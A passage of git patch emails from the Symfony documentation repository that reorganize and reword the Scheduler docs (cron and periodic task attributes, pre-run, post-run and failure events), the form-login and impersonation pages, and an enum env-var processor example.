-    #. You can configure various options such as ``frequencies``, ``from``, ``until`` and ``jitter``, encompassing options related to the trigger.
-
-#. :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute:
-
-    #. You can configure various options such as ``expression``, ``jitter``, encompassing options related to the trigger.
-
-By defining one of these two attributes, it enables the execution of your service or command, considering all the options that have been specified within the attributes.
+By defining one of these two attributes, it enables the execution of your
+service or command, considering all the options that have been specified within
+the attributes.
 
 Managing Scheduled Messages
 ---------------------------
 
-Modifying Scheduled Messages in real time
+Modifying Scheduled Messages in Real-Time
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-While planning a schedule in advance is beneficial, it is rare for a schedule to remain static over time.
-After a certain period, some RecurringMessages may become obsolete, while others may need to be integrated into our planning.
+While planning a schedule in advance is beneficial, it is rare for a schedule to
+remain static over time. After a certain period, some ``RecurringMessages`` may
+become obsolete, while others may need to be integrated into the planning.
 
-As a general practice, to alleviate a heavy workload, the recurring messages in the schedules are stored in memory to avoid recalculation each time the scheduler transport generates messages.
-However, this approach can have a flip side.
+As a general practice, to alleviate a heavy workload, the recurring messages in
+the schedules are stored in memory to avoid recalculation each time the scheduler
+transport generates messages. However, this approach can have a flip side.
 
-In the context of our sales company, certain promotions may occur during specific periods and need to be communicated repetitively throughout a given timeframe
-or the deletion of old reports needs to be halted under certain circumstances.
+Following the same report generation example as above, the company might do some
+promotions during specific periods (and they need to be communicated repetitively
+throughout a given timeframe) or the deletion of old reports needs to be halted
+under certain circumstances.
 
-This is why the Scheduler incorporates a mechanism to dynamically modify the schedule and consider all changes in real-time.
+This is why the ``Scheduler`` incorporates a mechanism to dynamically modify the
+schedule and consider all changes in real-time.
 
-Strategies for adding, removing, and modifying entries within the Schedule
+Strategies for Adding, Removing, and Modifying Entries within the Schedule
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The schedule provides you with the ability to :method:`Symfony\\Component\\Scheduler\Schedule::add`, :method:`Symfony\\Component\\Scheduler\Schedule::remove`, or :method:`Symfony\\Component\\Scheduler\Schedule::clear` all associated recurring messages,
-resulting in the reset and recalculation of the in-memory stack of recurring messages.
+The schedule provides you with the ability to :method:`Symfony\\Component\\Scheduler\Schedule::add`,
+:method:`Symfony\\Component\\Scheduler\Schedule::remove`, or :method:`Symfony\\Component\\Scheduler\Schedule::clear`
+all associated recurring messages, resulting in the reset and recalculation of
+the in-memory stack of recurring messages.
 
-For instance, for various reasons, if there's no need to generate a report, a callback can be employed to conditionally skip generating of some or all reports.
+For instance, for various reasons, if there's no need to generate a report, a
+callback can be employed to conditionally skip generating of some or all reports.
 
 However, if the intention is to completely remove a recurring message and its recurrence,
-the :class:`Symfony\\Component\\Scheduler\Schedule` offers a :method:`Symfony\\Component\\Scheduler\Schedule::remove` or a :method:`Symfony\\Component\\Scheduler\Schedule::removeById` method.
-This can be particularly useful in your case, especially if you need to halt the generation of the recurring message, which involves deleting old reports.
+the :class:`Symfony\\Component\\Scheduler\Schedule` offers a :method:`Symfony\\Component\\Scheduler\Schedule::remove`
+or a :method:`Symfony\\Component\\Scheduler\Schedule::removeById` method. This can
+be particularly useful in your case, especially if you need to halt the generation
+of the recurring message, which involves deleting old reports.
 
-In your handler, you can check a condition and, if affirmative, access the :class:`Symfony\\Component\\Scheduler\Schedule` and invoke this method::
+In your handler, you can check a condition and, if affirmative, access the
+:class:`Symfony\\Component\\Scheduler\Schedule` and invoke this method::
 
     // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
@@ -492,7 +512,7 @@ In your handler, you can check a condition and, if affirmative, access the :clas
     {
         public function __invoke(CleanUpOldSalesReport $cleanUpOldSalesReport): void
         {
-            // do what you have to do
+            // do some work here...
 
             if ($isFinished) {
                 $this->mySchedule->removeCleanUpMessage();
@@ -500,40 +520,47 @@ In your handler, you can check a condition and, if affirmative, access the :clas
         }
     }
 
-Nevertheless, this system may not be the most suitable for all scenarios. Also, the handler should ideally be designed to process the type of message it is intended for,
-without making decisions about adding or removing a new recurring message.
+Nevertheless, this system may not be the most suitable for all scenarios. Also,
+the handler should ideally be designed to process the type of message it is
+intended for, without making decisions about adding or removing a new recurring
+message.
 
-For instance, if, due to an external event, there is a need to add a recurrent message aimed at deleting reports,
-it can be challenging to achieve within the handler. This is because the handler will no longer be called or executed once there are no more messages of that type.
+For instance, if, due to an external event, there is a need to add a recurrent
+message aimed at deleting reports, it can be challenging to achieve within the
+handler. This is because the handler will no longer be called or executed once
+there are no more messages of that type.
 
-However, the Scheduler also features an event system that is integrated into a Symfony full-stack application by grafting onto Symfony Messenger events.
-These events are dispatched through a listener, providing a convenient means to respond.
+However, the Scheduler also features an event system that is integrated into a
+Symfony full-stack application by grafting onto Symfony Messenger events. These
+events are dispatched through a listener, providing a convenient means to respond.
 
 Managing Scheduled Messages via Events
 --------------------------------------
 
-A strategic event handling
+A Strategic Event Handling
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The goal is to provide flexibility in deciding when to take action while preserving decoupling.
-Three primary event types have been introduced types
-
-    #. PRE_RUN_EVENT
-
-    #. POST_RUN_EVENT
-
-    #. FAILURE_EVENT
+The goal is to provide flexibility in deciding when to take action while
+preserving decoupling. Three primary event types have been introduced types
 
-Access to the schedule is a crucial feature, allowing effortless addition or removal of message types.
-Additionally, it will be possible to access the currently processed message and its message context.
+* ``PRE_RUN_EVENT``
+* ``POST_RUN_EVENT``
+* ``FAILURE_EVENT``
 
-In consideration of our scenario, you can easily listen to the PRE_RUN_EVENT and check if a certain condition is met.
+Access to the schedule is a crucial feature, allowing effortless addition or
+removal of message types. Additionally, it will be possible to access the
+currently processed message and its message context.
 
-For instance, you might decide to add a recurring message for cleaning old reports again, with the same or different configurations, or add any other recurring message(s).
+In consideration of our scenario, you can listen to the ``PRE_RUN_EVENT`` and
+check if a certain condition is met. For instance, you might decide to add a
+recurring message for cleaning old reports again, with the same or different
+configurations, or add any other recurring message(s).
 
-If you had chosen to handle the deletion of the recurring message, you could have easily done so in a listener for this event.
-
-Importantly, it reveals a specific feature :method:`Symfony\\Component\\Scheduler\\Event\\PreRunEvent::shouldCancel` that allows you to prevent the message of the deleted recurring message from being transferred and processed by its handler::
+If you had chosen to handle the deletion of the recurring message, you could
+have done so in a listener for this event. Importantly, it reveals a specific
+feature :method:`Symfony\\Component\\Scheduler\\Event\\PreRunEvent::shouldCancel`
+that allows you to prevent the message of the deleted recurring message from
+being transferred and processed by its handler::
 
     // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
@@ -543,7 +570,7 @@ Importantly, it reveals a specific feature :method:`Symfony\\Component\\Schedule
     {
         public function getSchedule(): Schedule
         {
-            $this->removeOldReports = RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport());
+            $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
             return $this->schedule ??= (new Schedule())
                 ->with(
@@ -559,7 +586,7 @@ Importantly, it reveals a specific feature :method:`Symfony\\Component\\Schedule
                     // can target directly the RecurringMessage being processed
                     $schedule->removeById($messageContext->id);
 
-                    //Allow to call the ShouldCancel() and avoid the message to be handled
+                    // allow to call the ShouldCancel() and avoid the message to be handled
                         $event->shouldCancel(true);
                 }
                 ->after(function(PostRunEvent $event) {
@@ -571,6 +598,103 @@ Importantly, it reveals a specific feature :method:`Symfony\\Component\\Schedule
         }
     }
 
+Scheduler Events
+~~~~~~~~~~~~~~~~
+
+PreRunEvent
+...........
+
+**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PreRunEvent`
+
+``PreRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
+or cancel a message before it's consumed::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Scheduler\Event\PreRunEvent;
+
+    public function onMessage(PreRunEvent $event): void
+    {
+        $schedule = $event->getSchedule();
+        $context = $event->getMessageContext();
+        $message = $event->getMessage();
+
+        // do something with the schedule, context or message
+
+        // and/or cancel message
+        $event->shouldCancel(true);
+    }
+
+Execute this command to find out which listeners are registered for this event
+and their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\PreRunEvent"
+
+PostRunEvent
+............
+
+**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PostRunEvent`
+
+``PostRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
+after a message is consumed::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Scheduler\Event\PostRunEvent;
+
+    public function onMessage(PostRunEvent $event): void
+    {
+        $schedule = $event->getSchedule();
+        $context = $event->getMessageContext();
+        $message = $event->getMessage();
+
+        // do something with the schedule, context or message
+    }
+
+Execute this command to find out which listeners are registered for this event
+and their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\PostRunEvent"
+
+FailureEvent
+............
+
+**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\FailureEvent`
+
+``FailureEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
+when a message consumption throws an exception::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Scheduler\Event\FailureEvent;
+
+    public function onMessage(FailureEvent $event): void
+    {
+        $schedule = $event->getSchedule();
+        $context = $event->getMessageContext();
+        $message = $event->getMessage();
+
+        $error = $event->getError();
+
+        // do something with the schedule, context, message or error (logging, ...)
+
+        // and/or ignore failure event
+        $event->shouldIgnore(true);
+    }
+
+Execute this command to find out which listeners are registered for this event
+and their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\FailureEvent"
+
+.. versionadded:: 6.4
+
+    The ``PreRunEvent``, ``PostRunEvent`` and ``FailureEvent`` events were
+    introduced in Symfony 6.4.
+
 Consuming Messages (Running the Worker)
 ---------------------------------------
 
@@ -701,103 +825,6 @@ before being further redispatched to its corresponding handler::
         }
     }
 
-Scheduler Events
-----------------
-
-PreRunEvent
-~~~~~~~~~~~
-
-**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PreRunEvent`
-
-``PreRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
-or cancel a message before it's consumed::
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\Scheduler\Event\PreRunEvent;
-
-    public function onMessage(PreRunEvent $event): void
-    {
-        $schedule = $event->getSchedule();
-        $context = $event->getMessageContext();
-        $message = $event->getMessage();
-
-        // do something with the schedule, context or message
-
-        // and/or cancel message
-        $event->shouldCancel(true);
-    }
-
-Execute this command to find out which listeners are registered for this event
-and their priorities:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\PreRunEvent"
-
-PostRunEvent
-~~~~~~~~~~~~
-
-**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PostRunEvent`
-
-``PostRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
-after a message is consumed::
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\Scheduler\Event\PostRunEvent;
-
-    public function onMessage(PostRunEvent $event): void
-    {
-        $schedule = $event->getSchedule();
-        $context = $event->getMessageContext();
-        $message = $event->getMessage();
-
-        // do something with the schedule, context or message
-    }
-
-Execute this command to find out which listeners are registered for this event
-and their priorities:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\PostRunEvent"
-
-FailureEvent
-~~~~~~~~~~~~
-
-**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\FailureEvent`
-
-``FailureEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
-when a message consumption throws an exception::
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\Scheduler\Event\FailureEvent;
-
-    public function onMessage(FailureEvent $event): void
-    {
-        $schedule = $event->getSchedule();
-        $context = $event->getMessageContext();
-        $message = $event->getMessage();
-
-        $error = $event->getError();
-
-        // do something with the schedule, context, message or error (logging, ...)
-
-        // and/or ignore failure event
-        $event->shouldIgnore(true);
-    }
-
-Execute this command to find out which listeners are registered for this event
-and their priorities:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\FailureEvent"
-
-.. versionadded:: 6.4
-
-    The ``PreRunEvent``, ``PostRunEvent`` and ``FailureEvent`` events were
-    introduced in Symfony 6.4.
-
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/

From 1fd6705ae871ec576b65e932d49a2f19d52595fd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 13:16:24 +0100
Subject: [PATCH 4362/5766] Content reorganization

---
 scheduler.rst | 184 +++++++++++++++++++++++++-------------------------
 1 file changed, 92 insertions(+), 92 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 971e0170b41..d6c686031ce 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -205,42 +205,6 @@ Then, define the trigger date/time using the same syntax as the
 
     Since version 6.4, it is now possible to add and define a timezone as a 3rd argument.
 
-Another way of declaring cron triggers is to use the
-:class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
-on an invokable class::
-
-    // src/Scheduler/Task/SendDailySalesReports.php
-    namespace App\Scheduler\Task;
-
-    use Symfony\Component\Scheduler\Attribute\AsCronTask;
-
-    #[AsCronTask('0 0 * * *')]
-    class SendDailySalesReports
-    {
-        public function __invoke()
-        {
-            // ...
-        }
-    }
-
-This is the most basic way to define a cron trigger. However, the attribute
-takes more parameters to customize the trigger::
-
-    // adds randomly up to 6 seconds to the trigger time to avoid load spikes
-    #[AsCronTask('0 0 * * *', jitter: 6)]
-
-    // defines the method name to call instead as well as the arguments to pass to it
-    #[AsCronTask('0 0 * * *', method: 'sendEmail', arguments: ['email' => 'admin@symfony.com'])]
-
-    // defines the timezone to use
-    #[AsCronTask('0 0 * * *', timezone: 'Africa/Malabo')]
-
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
-    was introduced in Symfony 6.4.
-
-
 .. tip::
 
     Check out the `crontab.guru website`_ if you need help to construct/understand
@@ -258,6 +222,10 @@ For example::
 
     RecurringMessage::cron('@daily', new Message());
 
+.. tip::
+
+    You can also define cron tasks using :ref:`the AsCronTask attribute <scheduler-attributes-cron-task>`.
+
 Hashed Cron Expressions
 .......................
 
@@ -321,54 +289,9 @@ defined by PHP datetime functions::
     $until = '2023-06-12';
     RecurringMessage::every('first Monday of next month', new Message(), $from, $until);
 
-Like cron triggers, you can also use the
-:class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute
-on an invokable class::
-
-    // src/Scheduler/Task/SendDailySalesReports.php
-    namespace App\Scheduler\Task;
-
-    use Symfony\Component\Scheduler\Attribute\AsPeriodicTask;
-
-    #[AsPeriodicTask(frequency: '1 day', from: '2022-01-01', until: '2023-06-12')]
-    class SendDailySalesReports
-    {
-        public function __invoke()
-        {
-            // ...
-        }
-    }
-
-.. note::
-
-    The ``from`` and ``until`` options are optional. If not defined, the task
-    will be executed indefinitely.
-
-The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigger::
-
-    // the frequency can be defined as an integer representing the number of seconds
-    #[AsPeriodicTask(frequency: 86400)]
-
-    // adds randomly up to 6 seconds to the trigger time to avoid load spikes
-    #[AsPeriodicTask(frequency: '1 day', jitter: 6)]
-
-    // defines the method name to call instead as well as the arguments to pass to it
-    #[AsPeriodicTask(frequency: '1 day', method: 'sendEmail', arguments: ['email' => 'admin@symfony.com'])]
-    class SendDailySalesReports
-    {
-        public function sendEmail(string $email): void
-        {
-            // ...
-        }
-    }
-
-    // defines the timezone to use
-    #[AsPeriodicTask(frequency: '1 day', timezone: 'Africa/Malabo')]
-
-.. versionadded:: 6.4
+.. tip::
 
-    The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute
-    was introduced in Symfony 6.4.
+    You can also define periodic tasks using :ref:`the AsPeriodicTask attribute <scheduler-attributes-periodic-task>`.
 
 Custom Triggers
 ~~~~~~~~~~~~~~~
@@ -516,17 +439,94 @@ be used. Also, by default, the ``__invoke`` method of your service will be calle
 but, it's also possible to specify the method to call via the ``method``option
 and you can define arguments via ``arguments``option if necessary.
 
-The distinction between these two attributes lies in the trigger options:
+.. scheduler-attributes-cron-task::
+
+``AsCronTask`` Example
+......................
+
+This is the most basic way to define a cron trigger with this attribute::
+
+    // src/Scheduler/Task/SendDailySalesReports.php
+    namespace App\Scheduler\Task;
+
+    use Symfony\Component\Scheduler\Attribute\AsCronTask;
+
+    #[AsCronTask('0 0 * * *')]
+    class SendDailySalesReports
+    {
+        public function __invoke()
+        {
+            // ...
+        }
+    }
+
+The attribute takes more parameters to customize the trigger::
 
-* :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute
-  defines the following trigger options: ``frequencies``, ``from``, ``until`` and
-  ``jitter``,
-* :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
-  defines the following trigger options: ``expression``, ``jitter``.
+    // adds randomly up to 6 seconds to the trigger time to avoid load spikes
+    #[AsCronTask('0 0 * * *', jitter: 6)]
 
-By defining one of these two attributes, it enables the execution of your
-service or command, considering all the options that have been specified within
-the attributes.
+    // defines the method name to call instead as well as the arguments to pass to it
+    #[AsCronTask('0 0 * * *', method: 'sendEmail', arguments: ['email' => 'admin@example.com'])]
+
+    // defines the timezone to use
+    #[AsCronTask('0 0 * * *', timezone: 'Africa/Malabo')]
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
+    was introduced in Symfony 6.4.
+
+.. scheduler-attributes-periodic-task::
+
+``AsPeriodicTask`` Example
+..........................
+
+This is the most basic way to define a periodic trigger with this attribute::
+
+    // src/Scheduler/Task/SendDailySalesReports.php
+    namespace App\Scheduler\Task;
+
+    use Symfony\Component\Scheduler\Attribute\AsPeriodicTask;
+
+    #[AsPeriodicTask(frequency: '1 day', from: '2022-01-01', until: '2023-06-12')]
+    class SendDailySalesReports
+    {
+        public function __invoke()
+        {
+            // ...
+        }
+    }
+
+.. note::
+
+    The ``from`` and ``until`` options are optional. If not defined, the task
+    will be executed indefinitely.
+
+The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigger::
+
+    // the frequency can be defined as an integer representing the number of seconds
+    #[AsPeriodicTask(frequency: 86400)]
+
+    // adds randomly up to 6 seconds to the trigger time to avoid load spikes
+    #[AsPeriodicTask(frequency: '1 day', jitter: 6)]
+
+    // defines the method name to call instead as well as the arguments to pass to it
+    #[AsPeriodicTask(frequency: '1 day', method: 'sendEmail', arguments: ['email' => 'admin@symfony.com'])]
+    class SendDailySalesReports
+    {
+        public function sendEmail(string $email): void
+        {
+            // ...
+        }
+    }
+
+    // defines the timezone to use
+    #[AsPeriodicTask(frequency: '1 day', timezone: 'Africa/Malabo')]
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute
+    was introduced in Symfony 6.4.
 
 Managing Scheduled Messages
 ---------------------------

From 1d228b7c22d0cfda495c926aaaaa5b4e431f7d65 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 13:18:07 +0100
Subject: [PATCH 4363/5766] Remove some unneded references

---
 reference/attributes.rst | 4 ++--
 scheduler.rst            | 4 ----
 2 files changed, 2 insertions(+), 6 deletions(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index a929d38c3b0..4f784588e23 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -89,8 +89,8 @@ Routing
 Scheduler
 ~~~~~~~~~
 
-* :ref:`AsCronTask <scheduler_cron-expression-triggers>`
-* :ref:`AsPeriodicTask <scheduler_periodical-triggers>`
+* :ref:`AsCronTask <scheduler-attributes-cron-task>`
+* :ref:`AsPeriodicTask <scheduler-attributes-periodic-task>`
 * :ref:`AsSchedule <scheduler_attaching-recurring-messages>`
 
 Security
diff --git a/scheduler.rst b/scheduler.rst
index d6c686031ce..697e22d7eae 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -182,8 +182,6 @@ methods::
 Most of them can be created via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage`
 class, as shown in the following examples.
 
-.. _scheduler_cron-expression-triggers:
-
 Cron Expression Triggers
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -272,8 +270,6 @@ For example::
     The day of month range is ``1-28``, this is to account for February
     which has a minimum of 28 days.
 
-.. _scheduler_periodical-triggers:
-
 Periodical Triggers
 ~~~~~~~~~~~~~~~~~~~
 

From 979eee7560ac35f4df44cf37c18a910c8d975a02 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 15:00:23 +0100
Subject: [PATCH 4364/5766] Minor reword

---
 security/impersonating_user.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 75003f6495b..41351ab7798 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -363,11 +363,10 @@ not this is allowed. If your voter isn't called, see :ref:`declaring-the-voter-a
 Events
 ------
 
-Just before the impersonation is fully completed, the ``security.switch_user`` event is
-dispatched.
-The :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent` is
-passed to the :doc:`listener or subscriber </event_dispatcher>`, and you can use
-this to get the user that you are now impersonating.
+the ``security.switch_user`` event is dispatched just before the impersonation
+is fully completed. Your :doc:`listener or subscriber </event_dispatcher>` will
+receive a :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`,
+which you can use to get the user that you are now impersonating.
 
 This event is also dispatched just before impersonation is fully exited. You can
 use it to get the original impersonator user.

From a6b2fd02e1e2b9bf16763e73ac089a5a9e879795 Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Tue, 29 Nov 2022 07:01:26 -0500
Subject: [PATCH 4365/5766] [Security] WIP -  make:security:form-login is now
 available in MakerBundle

---
 security.rst | 28 +++++++++++++++++++++++++++-
 1 file changed, 27 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index c2066816dee..4320e869d5a 100644
--- a/security.rst
+++ b/security.rst
@@ -662,7 +662,33 @@ Most websites have a login form where users authenticate using an
 identifier (e.g. email address or username) and a password. This
 functionality is provided by the *form login authenticator*.
 
-First, create a controller for the login form:
+`MakerBundle` has a new ``make:security:form-login`` command that was introduced
+in ``v1.x.x`` that will generate the controller, twig template, and configure
+``security.yaml`` after answering a couple of questions:
+
+.. code-block:: terminal
+
+    $ php bin/console make:security:form-login
+
+     Choose a name for the controller class (e.g. SecurityController) [SecurityController]:
+     > SecurityController
+
+     Do you want to generate a '/logout' URL? (yes/no) [yes]:
+     > y
+
+     created: src/Controller/SecurityController.php
+     created: templates/security/login.html.twig
+     updated: config/packages/security.yaml
+
+
+      Success!
+
+
+     Next: Review and adapt the login template: security/login.html.twig to suite your needs.
+
+WooHoo! You're all set to start authenticating users.
+
+If you prefer to do this manually, first, create a controller for the login form:
 
 .. code-block:: terminal
 

From 52163876d80f1aa5874d9390e38770d384041b2d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 16:14:07 +0100
Subject: [PATCH 4366/5766] Reword

---
 security.rst | 27 ++++++---------------------
 1 file changed, 6 insertions(+), 21 deletions(-)

diff --git a/security.rst b/security.rst
index f8d2cc028ef..4fb4841f93b 100644
--- a/security.rst
+++ b/security.rst
@@ -650,33 +650,18 @@ Most websites have a login form where users authenticate using an
 identifier (e.g. email address or username) and a password. This
 functionality is provided by the built-in :class:`Symfony\\Component\\Security\\Http\Authenticator\\FormLoginAuthenticator`.
 
-`MakerBundle` has a new ``make:security:form-login`` command that was introduced
-in ``v1.x.x`` that will generate the controller, twig template, and configure
-``security.yaml`` after answering a couple of questions:
+You can run the following command to create everything needed to add a login
+form in your application:
 
 .. code-block:: terminal
 
     $ php bin/console make:security:form-login
 
-     Choose a name for the controller class (e.g. SecurityController) [SecurityController]:
-     > SecurityController
+This command will create the required controller and template and it will also
+update the security configuration. Alternatively, if you prefer to make these
+changes manually, follow the next steps.
 
-     Do you want to generate a '/logout' URL? (yes/no) [yes]:
-     > y
-
-     created: src/Controller/SecurityController.php
-     created: templates/security/login.html.twig
-     updated: config/packages/security.yaml
-
-
-      Success!
-
-
-     Next: Review and adapt the login template: security/login.html.twig to suite your needs.
-
-WooHoo! You're all set to start authenticating users.
-
-If you prefer to do this manually, first, create a controller for the login form:
+First, create a controller for the login form:
 
 .. code-block:: terminal
 

From c099758a1c4275392e766be5040888674ac4688d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 5 Dec 2022 16:51:16 +0100
Subject: [PATCH 4367/5766] Changing `enum:` example away from APP_ENV

Reason: When I first read this, I was expecting that the Symfony-internal ways to get the environment (`{{ app.environment }}`, `$routingConfigurator->env()` ,etc.) would now return the enum. But this is not the case. So if you explain the new processor with exactly this example, there needs to be a caution box, explaining that Symfony's methods still return the string.

* If you don't agree with this change, I'd still open a separate PR to add this info (taken from https://symfony.com/blog/new-in-symfony-6-2-improved-enum-support#enums-in-environment-variables), cause that's a missing piece of information:

> The value stored in the ``CARD_SUIT`` env var would be a string like `'spades'` but the
> application will use the ``Suit::Spdes`` enum value.

* Besides, as the list of processors is getting longer and longer, I'd suggest to create a sub-heading for each (under "Built-In Environment Variable Processors"), to get rid of the endless indentation, and improve scanability, and get them included in the TOC.
Should I create a PR for this?
---
 configuration/env_var_processors.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 3da4ed6b1c1..fb96c0a5ac6 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -745,11 +745,13 @@ Symfony provides the following env var processors:
     Tries to convert an environment variable to an actual ``\BackedEnum`` value.
     This processor takes the fully qualified name of the ``\BackedEnum`` as an argument::
 
-        # App\Enum\Environment
+        // App\Enum\Suit.php
         enum Environment: string
         {
-            case Development = 'dev';
-            case Production = 'prod';
+            case Clubs = 'clubs';
+            case Spades = 'spades';
+            case Diamonds = 'diamonds';
+            case Hearts = 'hearts';
         }
 
     .. configuration-block::
@@ -758,7 +760,7 @@ Symfony provides the following env var processors:
 
             # config/services.yaml
             parameters:
-                typed_env: '%env(enum:App\Enum\Environment:APP_ENV)%'
+                suit: '%env(enum:App\Enum\Suit:CARD_SUIT)%'
 
         .. code-block:: xml
 
@@ -773,14 +775,17 @@ Symfony provides the following env var processors:
                     https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
                 <parameters>
-                    <parameter key="typed_env">%env(enum:App\Enum\Environment:APP_ENV)%</parameter>
+                    <parameter key="suit">%env(enum:App\Enum\Suit:CARD_SUIT)%</parameter>
                 </parameters>
             </container>
 
         .. code-block:: php
 
             // config/services.php
-            $container->setParameter('typed_env', '%env(enum:App\Enum\Environment:APP_ENV)%');
+            $container->setParameter('suit', '%env(enum:App\Enum\Suit:CARD_SUIT)%');
+
+    The value stored in the ``CARD_SUIT`` env var would be a string like `'spades'` but the
+    application will use the ``Suit::Spdes`` enum value.
 
     .. versionadded:: 6.2
 

From a8096669e4aaa4e9b928270370a5ea04bd0cd4ee Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 16:28:58 +0100
Subject: [PATCH 4368/5766] Minor tweaks

---
 configuration/env_var_processors.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index fb96c0a5ac6..518c348ab75 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -784,8 +784,8 @@ Symfony provides the following env var processors:
             // config/services.php
             $container->setParameter('suit', '%env(enum:App\Enum\Suit:CARD_SUIT)%');
 
-    The value stored in the ``CARD_SUIT`` env var would be a string like `'spades'` but the
-    application will use the ``Suit::Spdes`` enum value.
+    The value stored in the ``CARD_SUIT`` env var would be a string (e.g. ``'spades'``)
+    but the application will use the enum value (e.g. ``Suit::Spades``).
 
     .. versionadded:: 6.2
 

From bbe8219fbe727ac8b581f0c2c6a1262fba29a741 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 17:13:41 +0100
Subject: [PATCH 4369/5766] Minor tweaks

---
 security.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index 5f674f95df8..0a7616d242f 100644
--- a/security.rst
+++ b/security.rst
@@ -576,7 +576,7 @@ will be able to authenticate (e.g. login form, API token, etc).
 Only one firewall is active on each request: Symfony uses the ``pattern`` key
 to find the first match (you can also
 :doc:`match by host or other things </security/firewall_restriction>`).
